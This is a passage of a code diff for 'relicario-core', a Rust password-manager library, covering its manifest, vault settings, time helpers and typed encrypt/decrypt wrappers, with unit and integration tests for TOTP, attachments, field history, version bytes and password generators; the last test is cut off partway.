fn rfc6238_sha1_vector_59() {
let cfg = TotpConfig {
secret: Zeroizing::new(b"12345678901234567890".to_vec()),
algorithm: TotpAlgorithm::Sha1,
digits: 8,
period_seconds: 30,
kind: TotpKind::Totp,
};
assert_eq!(compute_totp_code(&cfg, 59).unwrap(), "94287082");
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn totp_default_is_sha1_6_30_totp() {
let cfg = TotpConfig::default();
assert_eq!(cfg.algorithm, TotpAlgorithm::Sha1);
assert_eq!(cfg.digits, 6);
assert_eq!(cfg.period_seconds, 30);
assert_eq!(cfg.kind, TotpKind::Totp);
}
#[test]
fn totp_round_trip() {
let core = TotpCore {
config: TotpConfig {
secret: Zeroizing::new(vec![0x12, 0x34, 0x56]),
algorithm: TotpAlgorithm::Sha256,
digits: 8,
period_seconds: 60,
kind: TotpKind::Totp,
},
issuer: Some("github".into()),
label: Some("alice@github".into()),
};
let json = serde_json::to_string(&core).unwrap();
let parsed: TotpCore = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.config.digits, 8);
assert_eq!(parsed.config.algorithm, TotpAlgorithm::Sha256);
assert_eq!(parsed.issuer.as_deref(), Some("github"));
}
#[test]
fn hotp_carries_counter() {
let cfg = TotpConfig { kind: TotpKind::Hotp { counter: 42 }, ..TotpConfig::default() };
let json = serde_json::to_string(&cfg).unwrap();
let parsed: TotpConfig = serde_json::from_str(&json).unwrap();
match parsed.kind {
TotpKind::Hotp { counter } => assert_eq!(counter, 42),
other => panic!("expected Hotp, got {:?}", other),
}
}
#[test]
fn steam_kind_serializes() {
let cfg = TotpConfig { kind: TotpKind::Steam, ..TotpConfig::default() };
let json = serde_json::to_string(&cfg).unwrap();
assert!(json.contains("steam"));
}
}

View File

@@ -0,0 +1,79 @@
//! # relicario-core
//!
//! Platform-agnostic core library for the relicario password manager.
//!
//! This crate is intentionally **bytes-in/bytes-out** -- it performs no filesystem
//! access, no network I/O, and no git operations. All inputs arrive as byte slices
//! or typed structs, and all outputs are returned as byte vectors or typed structs.
//! This design makes the crate portable to WASM, Android (via JNI/UniFFI), and iOS
//! without any conditional compilation or platform shims.
//!
//! ## Modules
//!
//! - [`error`] — The unified error type ([`RelicarioError`]).
//! - [`crypto`] — Argon2id KDF (length-prefixed inputs, Zeroizing output) and
//! XChaCha20-Poly1305 AEAD with VERSION_BYTE 0x02.
//! - [`ids`] — `ItemId`, `FieldId`, and content-addressed `AttachmentId`.
//! - [`time`] — unix-seconds + `MonthYear` for card expiries.
//! - [`item_types`] — Per-type cores (`LoginCore`, `SecureNoteCore`, etc.) and the
//! `ItemCore`/`ItemType` enums.
//! - [`item`] — `Item` envelope, `Field`, `FieldKind`, `FieldValue`, `Section`,
//! `FieldHistoryEntry`.
//! - [`attachment`] — `AttachmentRef`, `AttachmentSummary`, encrypt/decrypt helpers.
//! - [`manifest`] — Browse-without-decrypt index (schema_version 2).
//! - [`settings`] — Vault-level retention, generator defaults, attachment caps.
//! - [`generators`] — CSPRNG password + BIP39 passphrase generators; zxcvbn
//! strength gate.
//! - [`vault`] — Typed encrypt/decrypt wrappers (Item, Manifest, VaultSettings).
//! - [`imgsecret`] — DCT-based steganography for the second auth factor.
//!
//! ## Crypto pipeline
//!
//! ```text
//! passphrase (UTF-8 bytes) || image_secret (32 bytes from reference JPEG)
//! -> Argon2id(salt=vault_salt, m=64MiB, t=3, p=4)
//! -> master_key (32 bytes)
//! -> XChaCha20-Poly1305(nonce=random 24 bytes)
//! -> encrypted entry/manifest
//! ```
pub mod error;
pub use error::{RelicarioError, Result};
pub mod crypto;
pub use crypto::{decrypt, derive_master_key, encrypt, KdfParams, VERSION_BYTE};
pub mod ids;
pub use ids::{AttachmentId, FieldId, ItemId};
pub mod time;
pub use time::{now_unix, MonthYear};
pub mod item_types;
pub use item_types::{ItemCore, ItemType};
pub mod item;
pub use item::{Field, FieldHistoryEntry, FieldKind, FieldValue, Item, Section};
pub mod attachment;
pub use attachment::{decrypt_attachment, encrypt_attachment, AttachmentRef, AttachmentSummary, EncryptedAttachment};
pub mod manifest;
pub use manifest::{Manifest, ManifestEntry, MANIFEST_SCHEMA_VERSION};
pub mod settings;
pub use settings::{
AttachmentCaps, Capitalization, CharClasses, GeneratorRequest, HistoryRetention,
SymbolCharset, TrashRetention, VaultSettings,
};
pub mod generators;
pub use generators::{generate_passphrase, generate_password, rate_passphrase, validate_passphrase_strength, StrengthEstimate};
pub mod vault;
pub use vault::{
decrypt_item, decrypt_manifest, decrypt_settings,
encrypt_item, encrypt_manifest, encrypt_settings,
};
pub mod imgsecret;

View File

@@ -0,0 +1,159 @@
//! New typed-item manifest. Lives next to the old entry.rs Manifest
//! during this rewrite; entry.rs is deleted in Task 25.
use serde::{Deserialize, Serialize};
use std::collections::HashMap;
use crate::attachment::AttachmentSummary;
use crate::ids::ItemId;
use crate::item::Item;
use crate::item_types::ItemType;
pub const MANIFEST_SCHEMA_VERSION: u32 = 2;
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Manifest {
pub schema_version: u32,
pub items: HashMap<ItemId, ManifestEntry>,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ManifestEntry {
pub id: ItemId,
pub r#type: ItemType,
pub title: String,
#[serde(default)]
pub tags: Vec<String>,
#[serde(default)]
pub favorite: bool,
#[serde(skip_serializing_if = "Option::is_none")]
pub group: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub icon_hint: Option<String>,
pub modified: i64,
#[serde(skip_serializing_if = "Option::is_none")]
pub trashed_at: Option<i64>,
#[serde(default)]
pub attachment_summaries: Vec<AttachmentSummary>,
}
impl Manifest {
pub fn new() -> Self {
Self { schema_version: MANIFEST_SCHEMA_VERSION, items: HashMap::new() }
}
pub fn upsert(&mut self, item: &Item) {
let entry = ManifestEntry::from_item(item);
self.items.insert(item.id.clone(), entry);
}
pub fn remove(&mut self, id: &ItemId) -> Option<ManifestEntry> {
self.items.remove(id)
}
pub fn get(&self, id: &ItemId) -> Option<&ManifestEntry> {
self.items.get(id)
}
/// Case-insensitive substring match on title and tags.
pub fn search(&self, query: &str) -> Vec<&ManifestEntry> {
let q = query.to_lowercase();
self.items
.values()
.filter(|e| {
e.title.to_lowercase().contains(&q)
|| e.tags.iter().any(|t| t.to_lowercase().contains(&q))
})
.collect()
}
}
impl Default for Manifest {
fn default() -> Self { Self::new() }
}
impl ManifestEntry {
pub fn from_item(item: &Item) -> Self {
Self {
id: item.id.clone(),
r#type: item.r#type,
title: item.title.clone(),
tags: item.tags.clone(),
favorite: item.favorite,
group: item.group.clone(),
icon_hint: derive_icon_hint(item),
modified: item.modified,
trashed_at: item.trashed_at,
attachment_summaries: item.attachments.iter().map(Into::into).collect(),
}
}
}
/// Derive an icon hint string from an item — for Login items, this is the URL hostname.
fn derive_icon_hint(item: &Item) -> Option<String> {
use crate::item_types::ItemCore;
match &item.core {
ItemCore::Login(l) => l.url.as_ref().and_then(|u| u.host_str().map(str::to_owned)),
_ => None,
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::item_types::{ItemCore, LoginCore, SecureNoteCore};
#[test]
fn empty_manifest_has_schema_v2() {
let m = Manifest::new();
assert_eq!(m.schema_version, MANIFEST_SCHEMA_VERSION);
assert!(m.items.is_empty());
}
#[test]
fn upsert_and_search() {
let mut m = Manifest::new();
let mut item = Item::new("GitHub".into(), ItemCore::Login(LoginCore::default()));
item.tags = vec!["work".into()];
m.upsert(&item);
let results = m.search("github");
assert_eq!(results.len(), 1);
let by_tag = m.search("work");
assert_eq!(by_tag.len(), 1);
}
#[test]
fn icon_hint_is_login_url_host() {
use url::Url;
let mut m = Manifest::new();
let core = ItemCore::Login(LoginCore {
url: Some(Url::parse("https://api.github.com/login").unwrap()),
..Default::default()
});
let item = Item::new("X".into(), core);
m.upsert(&item);
let entry = m.items.values().next().unwrap();
assert_eq!(entry.icon_hint.as_deref(), Some("api.github.com"));
}
#[test]
fn icon_hint_is_none_for_non_login() {
let mut m = Manifest::new();
let item = Item::new("note".into(), ItemCore::SecureNote(SecureNoteCore::default()));
m.upsert(&item);
let entry = m.items.values().next().unwrap();
assert!(entry.icon_hint.is_none());
}
#[test]
fn manifest_round_trips() {
let mut m = Manifest::new();
let item = Item::new("X".into(), ItemCore::SecureNote(SecureNoteCore::default()));
m.upsert(&item);
let json = serde_json::to_string(&m).unwrap();
let parsed: Manifest = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.schema_version, MANIFEST_SCHEMA_VERSION);
assert_eq!(parsed.items.len(), 1);
}
}

View File

@@ -0,0 +1,184 @@
//! Vault-level settings: trash retention, history retention, generator
//! defaults, attachment caps, autofill TOFU acks.
use serde::{Deserialize, Serialize};
use std::collections::HashMap;
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct VaultSettings {
pub trash_retention: TrashRetention,
pub field_history_retention: HistoryRetention,
pub generator_defaults: GeneratorRequest,
pub attachment_caps: AttachmentCaps,
/// hostname → unix-seconds first-acked
#[serde(default)]
pub autofill_origin_acks: HashMap<String, i64>,
}
impl Default for VaultSettings {
fn default() -> Self {
Self {
trash_retention: TrashRetention::Days(30),
field_history_retention: HistoryRetention::Forever,
generator_defaults: GeneratorRequest::default(),
attachment_caps: AttachmentCaps::default(),
autofill_origin_acks: HashMap::new(),
}
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(tag = "kind", content = "value", rename_all = "snake_case")]
pub enum TrashRetention {
Days(u32),
Forever,
}
impl TrashRetention {
pub fn should_purge(&self, trashed_at: i64, now: i64) -> bool {
match self {
TrashRetention::Forever => false,
TrashRetention::Days(d) => now - trashed_at > (*d as i64) * 86_400,
}
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(tag = "kind", content = "value", rename_all = "snake_case")]
pub enum HistoryRetention {
LastN(u32),
Days(u32),
Forever,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(tag = "kind", rename_all = "snake_case")]
pub enum GeneratorRequest {
Bip39 {
word_count: u32,
separator: String,
capitalization: Capitalization,
},
Random {
length: u32,
classes: CharClasses,
symbol_charset: SymbolCharset,
},
}
impl Default for GeneratorRequest {
fn default() -> Self {
GeneratorRequest::Random {
length: 20,
classes: CharClasses { lower: true, upper: true, digits: true, symbols: true },
symbol_charset: SymbolCharset::SafeOnly,
}
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum Capitalization {
Lower,
Upper,
FirstOfEach,
Title,
Mixed,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
pub struct CharClasses {
pub lower: bool,
pub upper: bool,
pub digits: bool,
pub symbols: bool,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(tag = "kind", content = "value", rename_all = "snake_case")]
pub enum SymbolCharset {
SafeOnly,
Extended,
Custom(String),
}
#[derive(Debug, Clone, Copy, Serialize, Deserialize)]
pub struct AttachmentCaps {
pub per_attachment_max_bytes: u64,
pub per_item_max_count: u32,
pub per_vault_soft_cap_bytes: u64,
pub per_vault_hard_cap_bytes: u64,
}
impl Default for AttachmentCaps {
fn default() -> Self {
Self {
per_attachment_max_bytes: 10 * 1024 * 1024,
per_item_max_count: 20,
per_vault_soft_cap_bytes: 100 * 1024 * 1024,
per_vault_hard_cap_bytes: 500 * 1024 * 1024,
}
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn defaults_match_spec() {
let s = VaultSettings::default();
assert!(matches!(s.trash_retention, TrashRetention::Days(30)));
assert!(matches!(s.field_history_retention, HistoryRetention::Forever));
assert_eq!(s.attachment_caps.per_attachment_max_bytes, 10 * 1024 * 1024);
assert_eq!(s.attachment_caps.per_item_max_count, 20);
}
#[test]
fn trash_retention_purges_after_days() {
let r = TrashRetention::Days(30);
let now = 1_000_000_000;
let recently_trashed = now - 29 * 86_400;
let long_trashed = now - 31 * 86_400;
assert!(!r.should_purge(recently_trashed, now));
assert!(r.should_purge(long_trashed, now));
}
#[test]
fn trash_retention_forever_never_purges() {
let r = TrashRetention::Forever;
assert!(!r.should_purge(0, 1_000_000_000));
}
#[test]
fn settings_round_trip() {
let s = VaultSettings::default();
let json = serde_json::to_string(&s).unwrap();
let parsed: VaultSettings = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.attachment_caps.per_attachment_max_bytes,
s.attachment_caps.per_attachment_max_bytes);
}
#[test]
fn random_generator_default_is_20_safe() {
match VaultSettings::default().generator_defaults {
GeneratorRequest::Random { length, classes, symbol_charset } => {
assert_eq!(length, 20);
assert!(classes.lower && classes.upper && classes.digits && classes.symbols);
assert!(matches!(symbol_charset, SymbolCharset::SafeOnly));
}
_ => panic!("expected Random default"),
}
}
#[test]
fn symbol_charset_custom_round_trips() {
let c = SymbolCharset::Custom("!@#".into());
let json = serde_json::to_string(&c).unwrap();
let parsed: SymbolCharset = serde_json::from_str(&json).unwrap();
match parsed {
SymbolCharset::Custom(s) => assert_eq!(s, "!@#"),
other => panic!("expected Custom, got {:?}", other),
}
}
}

View File

@@ -0,0 +1,63 @@
//! Time helpers and the `MonthYear` type used for card expiries.
use serde::{Deserialize, Serialize};
/// Current Unix timestamp in seconds.
pub fn now_unix() -> i64 {
chrono::Utc::now().timestamp()
}
/// Month + year (1-12 / e.g. 2026). Used for card expiries.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
pub struct MonthYear {
pub month: u8,
pub year: u16,
}
impl MonthYear {
pub fn new(month: u8, year: u16) -> Result<Self, &'static str> {
if !(1..=12).contains(&month) {
return Err("month must be 1..=12");
}
if year < 2000 || year > 2099 {
return Err("year must be 2000..=2099");
}
Ok(Self { month, year })
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn now_unix_is_positive_and_recent() {
let t = now_unix();
assert!(t > 1_700_000_000); // after late 2023
assert!(t < 4_000_000_000); // before 2096
}
#[test]
fn month_year_constructor_rejects_bad_month() {
assert!(MonthYear::new(0, 2026).is_err());
assert!(MonthYear::new(13, 2026).is_err());
assert!(MonthYear::new(1, 2026).is_ok());
assert!(MonthYear::new(12, 2026).is_ok());
}
#[test]
fn month_year_constructor_rejects_bad_year() {
assert!(MonthYear::new(1, 1999).is_err());
assert!(MonthYear::new(1, 2100).is_err());
assert!(MonthYear::new(1, 2000).is_ok());
assert!(MonthYear::new(1, 2099).is_ok());
}
#[test]
fn month_year_round_trips_through_json() {
let my = MonthYear::new(7, 2030).unwrap();
let json = serde_json::to_string(&my).unwrap();
let parsed: MonthYear = serde_json::from_str(&json).unwrap();
assert_eq!(parsed, my);
}
}

View File

@@ -0,0 +1,90 @@
//! Typed wrappers around `crypto::{encrypt, decrypt}` for the new typed-item
//! data model. Each function does JSON-serialize → encrypt or decrypt → JSON-parse.
//!
//! v1 helpers (encrypt_entry / decrypt_entry / encrypt_manifest with the old
//! Manifest type) are intentionally NOT carried forward. The CLI rewrite in
//! Plan 1B switches to the new helpers.
use zeroize::Zeroizing;
use crate::crypto::{decrypt, encrypt};
use crate::error::Result;
use crate::item::Item;
use crate::manifest::Manifest;
use crate::settings::VaultSettings;
pub fn encrypt_item(item: &Item, master_key: &Zeroizing<[u8; 32]>) -> Result<Vec<u8>> {
let json = serde_json::to_vec(item)?;
let plaintext = Zeroizing::new(json);
encrypt(master_key, plaintext.as_slice())
}
pub fn decrypt_item(encrypted: &[u8], master_key: &Zeroizing<[u8; 32]>) -> Result<Item> {
let plaintext = decrypt(master_key, encrypted)?;
let plaintext = Zeroizing::new(plaintext);
let item: Item = serde_json::from_slice(&plaintext)?;
Ok(item)
}
pub fn encrypt_manifest(manifest: &Manifest, master_key: &Zeroizing<[u8; 32]>) -> Result<Vec<u8>> {
let json = serde_json::to_vec(manifest)?;
let plaintext = Zeroizing::new(json);
encrypt(master_key, plaintext.as_slice())
}
pub fn decrypt_manifest(encrypted: &[u8], master_key: &Zeroizing<[u8; 32]>) -> Result<Manifest> {
let plaintext = decrypt(master_key, encrypted)?;
let plaintext = Zeroizing::new(plaintext);
let manifest: Manifest = serde_json::from_slice(&plaintext)?;
Ok(manifest)
}
pub fn encrypt_settings(settings: &VaultSettings, master_key: &Zeroizing<[u8; 32]>) -> Result<Vec<u8>> {
let json = serde_json::to_vec(settings)?;
let plaintext = Zeroizing::new(json);
encrypt(master_key, plaintext.as_slice())
}
pub fn decrypt_settings(encrypted: &[u8], master_key: &Zeroizing<[u8; 32]>) -> Result<VaultSettings> {
let plaintext = decrypt(master_key, encrypted)?;
let plaintext = Zeroizing::new(plaintext);
let settings: VaultSettings = serde_json::from_slice(&plaintext)?;
Ok(settings)
}
#[cfg(test)]
mod tests {
use super::*;
use crate::item_types::{ItemCore, SecureNoteCore};
fn key() -> Zeroizing<[u8; 32]> { Zeroizing::new([0x33u8; 32]) }
#[test]
fn item_round_trip() {
let item = Item::new("note".into(), ItemCore::SecureNote(SecureNoteCore {
body: Zeroizing::new("hello".into()),
}));
let bytes = encrypt_item(&item, &key()).unwrap();
let decoded = decrypt_item(&bytes, &key()).unwrap();
assert_eq!(decoded.title, "note");
}
#[test]
fn manifest_round_trip() {
let mut m = Manifest::new();
let item = Item::new("x".into(), ItemCore::SecureNote(SecureNoteCore::default()));
m.upsert(&item);
let bytes = encrypt_manifest(&m, &key()).unwrap();
let decoded = decrypt_manifest(&bytes, &key()).unwrap();
assert_eq!(decoded.items.len(), 1);
}
#[test]
fn settings_round_trip() {
let s = VaultSettings::default();
let bytes = encrypt_settings(&s, &key()).unwrap();
let decoded = decrypt_settings(&bytes, &key()).unwrap();
assert_eq!(decoded.attachment_caps.per_attachment_max_bytes,
s.attachment_caps.per_attachment_max_bytes);
}
}

View File

@@ -0,0 +1,52 @@
//! Attachment encrypt/decrypt + content-addressed AID + cap enforcement.
use relicario_core::{
AttachmentId, RelicarioError,
crypto::KdfParams,
decrypt_attachment, derive_master_key, encrypt_attachment,
};
use zeroize::Zeroizing;
fn fast_params() -> KdfParams { KdfParams { argon2_m: 256, argon2_t: 1, argon2_p: 1 } }
fn make_key() -> Zeroizing<[u8; 32]> {
derive_master_key(b"x", &[0u8; 32], &[0u8; 32], &fast_params()).unwrap()
}
#[test]
fn attachment_round_trip_5kb() {
let plaintext: Vec<u8> = (0..5000u32).map(|i| (i & 0xff) as u8).collect();
let key = make_key();
let enc = encrypt_attachment(&plaintext, &key, 10 * 1024 * 1024).unwrap();
assert_eq!(enc.id, AttachmentId::from_plaintext(&plaintext));
let dec = decrypt_attachment(&enc.bytes, &key).unwrap();
assert_eq!(&*dec, &plaintext);
}
#[test]
fn identical_plaintexts_yield_identical_aids() {
let plaintext = b"hello world";
let key = make_key();
let a = encrypt_attachment(plaintext, &key, 1024).unwrap();
let b = encrypt_attachment(plaintext, &key, 1024).unwrap();
assert_eq!(a.id, b.id);
// (Bytes will differ because nonce is random per-encryption — that's expected.)
}
#[test]
fn cap_enforcement_at_exact_max() {
let plaintext = vec![0u8; 1024];
let key = make_key();
// Exactly at max — should pass
let _ = encrypt_attachment(&plaintext, &key, 1024).unwrap();
// One byte over — should fail
let err = encrypt_attachment(&plaintext, &key, 1023);
match err {
Err(RelicarioError::AttachmentTooLarge { size, max }) => {
assert_eq!(size, 1024);
assert_eq!(max, 1023);
}
other => panic!("expected AttachmentTooLarge, got {other:?}"),
}
}

View File

@@ -0,0 +1,63 @@
//! Field history end-to-end: capture on update, prune by retention policy,
//! survive encrypt/decrypt round-trip.
use relicario_core::{
Field, FieldValue, HistoryRetention, Item, ItemCore, Section,
crypto::KdfParams,
derive_master_key, decrypt_item, encrypt_item,
};
use relicario_core::item_types::LoginCore;
use zeroize::Zeroizing;
fn key() -> Zeroizing<[u8; 32]> {
derive_master_key(b"x", &[0u8; 32], &[0u8; 32], &KdfParams { argon2_m: 256, argon2_t: 1, argon2_p: 1 }).unwrap()
}
#[test]
fn password_field_history_captured_on_update() {
let mut item = Item::new("login".into(), ItemCore::Login(LoginCore::default()));
let f = Field::new("password".into(), FieldValue::Password(Zeroizing::new("v0".into())));
let fid = f.id.clone();
item.sections.push(Section { name: None, fields: vec![f] });
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new("v1".into()))).unwrap();
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new("v2".into()))).unwrap();
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new("v3".into()))).unwrap();
let hist = item.field_history.get(&fid).expect("history exists");
assert_eq!(hist.len(), 3);
assert_eq!(hist[0].value.as_str(), "v0");
assert_eq!(hist[2].value.as_str(), "v2");
}
#[test]
fn prune_last_n_keeps_most_recent() {
let mut item = Item::new("x".into(), ItemCore::Login(LoginCore::default()));
let f = Field::new("p".into(), FieldValue::Password(Zeroizing::new("v0".into())));
let fid = f.id.clone();
item.sections.push(Section { name: None, fields: vec![f] });
for i in 1..=10 {
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new(format!("v{i}")))).unwrap();
}
item.prune_history(&HistoryRetention::LastN(3), 0);
let hist = &item.field_history[&fid];
assert_eq!(hist.len(), 3);
// Most recent 3: v7, v8, v9 (v10's predecessor v9 was the latest captured)
assert!(hist.last().unwrap().value.as_str().starts_with('v'));
}
#[test]
fn history_survives_encrypt_decrypt() {
let mut item = Item::new("x".into(), ItemCore::Login(LoginCore::default()));
let f = Field::new("p".into(), FieldValue::Password(Zeroizing::new("v0".into())));
let fid = f.id.clone();
item.sections.push(Section { name: None, fields: vec![f] });
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new("v1".into()))).unwrap();
let blob = encrypt_item(&item, &key()).unwrap();
let decoded = decrypt_item(&blob, &key()).unwrap();
let hist = decoded.field_history.get(&fid).expect("history survived");
assert_eq!(hist.len(), 1);
assert_eq!(hist[0].value.as_str(), "v0");
}

View File

@@ -0,0 +1,54 @@
//! Format v2 invariants: VERSION_BYTE = 0x02, v1 blobs are rejected with
//! UnsupportedFormatVersion, length-prefix construction guarantees domain
//! separation.
use relicario_core::{
RelicarioError,
crypto::{KdfParams, VERSION_BYTE},
decrypt, derive_master_key, encrypt,
};
use zeroize::Zeroizing;
fn fast_params() -> KdfParams { KdfParams { argon2_m: 256, argon2_t: 1, argon2_p: 1 } }
#[test]
fn version_byte_is_2() {
assert_eq!(VERSION_BYTE, 0x02);
}
#[test]
fn fresh_ciphertext_starts_with_0x02() {
let key = Zeroizing::new([0u8; 32]);
// encrypt(key: &[u8; 32], plaintext: &[u8])
let ct = encrypt(&key, b"hello").unwrap();
assert_eq!(ct[0], 0x02);
}
#[test]
fn v1_blob_is_rejected_with_unsupported_format_version() {
// v1 layout: [0x01][24 nonce bytes][16 tag bytes]
let mut blob = vec![0x01u8];
blob.extend_from_slice(&[0u8; 24 + 16]);
let key = Zeroizing::new([0u8; 32]);
// decrypt(key: &[u8; 32], data: &[u8])
let err = decrypt(&key, &blob);
match err {
Err(RelicarioError::UnsupportedFormatVersion { found, expected }) => {
assert_eq!(found, 0x01);
assert_eq!(expected, 0x02);
}
other => panic!("expected UnsupportedFormatVersion, got {other:?}"),
}
}
#[test]
fn length_prefix_distinguishes_concat_collisions() {
let salt = [0u8; 32];
let img = [0x44u8; 32];
let p1 = b"abc";
let p2 = b"abcD"; // Pre-length-prefix, ("abc", [0x44, ...]) and ("abcD", ...)
// could be made to collide. With length-prefix they cannot.
let k1 = derive_master_key(p1, &img, &salt, &fast_params()).unwrap();
let k2 = derive_master_key(p2, &img, &salt, &fast_params()).unwrap();
assert_ne!(*k1, *k2);
}

View File

@@ -0,0 +1,89 @@
//! Generator integration tests — unbiased sampling (smoke), BIP39 sanity,
//! zxcvbn strength gate.
//!
//! # Note on length cap
//!
//! `generate_password` enforces `length <= 128`. The task originally specified
//! `length: 10_000` in a single call, but that would error at runtime.
//!
//! We use **Option 1 (aggregation)**: call `generate_password` 80 times with
//! `length: 128` to gather 10,240 characters total, then aggregate per-class
//! counts before asserting proportions. The ±5pp tolerance is unchanged because
//! sample size is the same (~10k chars).
use relicario_core::{
Capitalization, CharClasses, GeneratorRequest, SymbolCharset,
generate_passphrase, generate_password, validate_passphrase_strength,
};
#[test]
fn random_password_class_balance_is_reasonable() {
// Aggregate 80 × 128 = 10,240 chars so we have enough for tight statistics.
// (generate_password caps at length 128, so we cannot do a single 10,000-char call.)
let req = GeneratorRequest::Random {
length: 128,
classes: CharClasses { lower: true, upper: true, digits: true, symbols: true },
symbol_charset: SymbolCharset::SafeOnly,
};
let mut lower = 0usize;
let mut upper = 0usize;
let mut digits = 0usize;
let mut total = 0usize;
for _ in 0..80 {
let pw = generate_password(&req).unwrap();
lower += pw.chars().filter(|c| c.is_ascii_lowercase()).count();
upper += pw.chars().filter(|c| c.is_ascii_uppercase()).count();
digits += pw.chars().filter(|c| c.is_ascii_digit()).count();
total += pw.len();
}
let symbols = total - lower - upper - digits;
// Charset sizes: lower 26 + upper 26 + digits 10 + safe_symbols 12 = 74
// Expected proportions: 26/74 ≈ 35.1%, 10/74 ≈ 13.5%, 12/74 ≈ 16.2%
// Allow ±5pp slop.
let t = total as f64;
let assert_pct = |label: &str, actual: usize, expected_pct: f64| {
let pct = (actual as f64) / t * 100.0;
assert!(
(pct - expected_pct).abs() < 5.0,
"{label}: actual {pct:.1}% vs expected {expected_pct:.1}%"
);
};
assert_pct("lower", lower, 26.0 / 74.0 * 100.0);
assert_pct("upper", upper, 26.0 / 74.0 * 100.0);
assert_pct("digits", digits, 10.0 / 74.0 * 100.0);
assert_pct("symbols", symbols, 12.0 / 74.0 * 100.0);
}
#[test]
fn bip39_5_word_passphrase_passes_zxcvbn_gate() {
let req = GeneratorRequest::Bip39 {
word_count: 5,
separator: " ".into(),
capitalization: Capitalization::Lower,
};
let pw = generate_passphrase(&req).unwrap();
validate_passphrase_strength(&pw).expect("5-word bip39 should pass score >= 3");
}
#[test]
fn common_weak_passphrases_fail_gate() {
for weak in &["password", "12345678", "letmein", "qwertyui", "hunter2"] {
assert!(
validate_passphrase_strength(weak).is_err(),
"expected '{weak}' to fail gate"
);
}
}
#[test]
fn random_passwords_are_unique_across_calls() {
let req = GeneratorRequest::default();
let mut seen = std::collections::HashSet::new();
for _ in 0..1000 {
let pw = generate_password(&req).unwrap();
assert!(seen.insert(pw.as_str().to_owned()));
}
}

View File

@@ -0,0 +1,111 @@
//! End-to-end integration tests for the typed-item core.
use relicario_core::{
crypto::KdfParams,
derive_master_key, encrypt_item, decrypt_item,
encrypt_manifest, decrypt_manifest,
encrypt_settings, decrypt_settings,
Field, FieldValue, Item, ItemCore, Manifest, Section, VaultSettings,
};
use relicario_core::item_types::{LoginCore, SecureNoteCore};
use url::Url;
use zeroize::Zeroizing;
fn fast_params() -> KdfParams {
KdfParams { argon2_m: 256, argon2_t: 1, argon2_p: 1 }
}
#[test]
fn full_workflow_login_and_note() {
let salt = [0xAAu8; 32];
let img = [0xBBu8; 32];
let key = derive_master_key(b"correct horse battery staple", &img, &salt, &fast_params()).unwrap();
let mut manifest = Manifest::new();
let settings = VaultSettings::default();
// Add a Login
let login = Item::new("GitHub".into(), ItemCore::Login(LoginCore {
username: Some("alice".into()),
password: Some(Zeroizing::new("hunter2".into())),
url: Some(Url::parse("https://github.com").unwrap()),
totp: None,
}));
manifest.upsert(&login);
let login_blob = encrypt_item(&login, &key).unwrap();
// Add a SecureNote
let note = Item::new("recovery".into(), ItemCore::SecureNote(SecureNoteCore {
body: Zeroizing::new("recovery codes go here".into()),
}));
manifest.upsert(&note);
let note_blob = encrypt_item(&note, &key).unwrap();
// Encrypt manifest + settings
let manifest_blob = encrypt_manifest(&manifest, &key).unwrap();
let settings_blob = encrypt_settings(&settings, &key).unwrap();
// Decrypt + verify
let m = decrypt_manifest(&manifest_blob, &key).unwrap();
assert_eq!(m.items.len(), 2);
let l: Item = decrypt_item(&login_blob, &key).unwrap();
let n: Item = decrypt_item(&note_blob, &key).unwrap();
let s: VaultSettings = decrypt_settings(&settings_blob, &key).unwrap();
assert_eq!(l.title, "GitHub");
assert_eq!(n.title, "recovery");
assert_eq!(s.attachment_caps.per_attachment_max_bytes, 10 * 1024 * 1024);
}
#[test]
fn two_factor_independence() {
// Same passphrase, different image_secret → different keys.
let salt = [0u8; 32];
let img_a = [0x01u8; 32];
let img_b = [0x02u8; 32];
let key_a = derive_master_key(b"same-passphrase", &img_a, &salt, &fast_params()).unwrap();
let key_b = derive_master_key(b"same-passphrase", &img_b, &salt, &fast_params()).unwrap();
assert_ne!(*key_a, *key_b);
// Different passphrase, same image_secret → different keys.
let key_c = derive_master_key(b"other-passphrase", &img_a, &salt, &fast_params()).unwrap();
assert_ne!(*key_a, *key_c);
}
#[test]
fn field_history_persists_through_round_trip() {
let salt = [0u8; 32];
let img = [0u8; 32];
let key = derive_master_key(b"x", &img, &salt, &fast_params()).unwrap();
let mut item = Item::new("x".into(), ItemCore::Login(LoginCore::default()));
let f = Field::new("p".into(), FieldValue::Password(Zeroizing::new("v0".into())));
let fid = f.id.clone();
item.sections.push(Section { name: None, fields: vec![f] });
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new("v1".into()))).unwrap();
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new("v2".into()))).unwrap();
let blob = encrypt_item(&item, &key).unwrap();
let decoded = decrypt_item(&blob, &key).unwrap();
let hist = decoded.field_history.get(&fid).unwrap();
assert_eq!(hist.len(), 2);
assert_eq!(hist[0].value.as_str(), "v0");
assert_eq!(hist[1].value.as_str(), "v1");
}
#[test]
fn wrong_key_fails_with_opaque_decrypt() {
use relicario_core::RelicarioError;
let salt = [0u8; 32];
let img = [0u8; 32];
let right = derive_master_key(b"correct", &img, &salt, &fast_params()).unwrap();
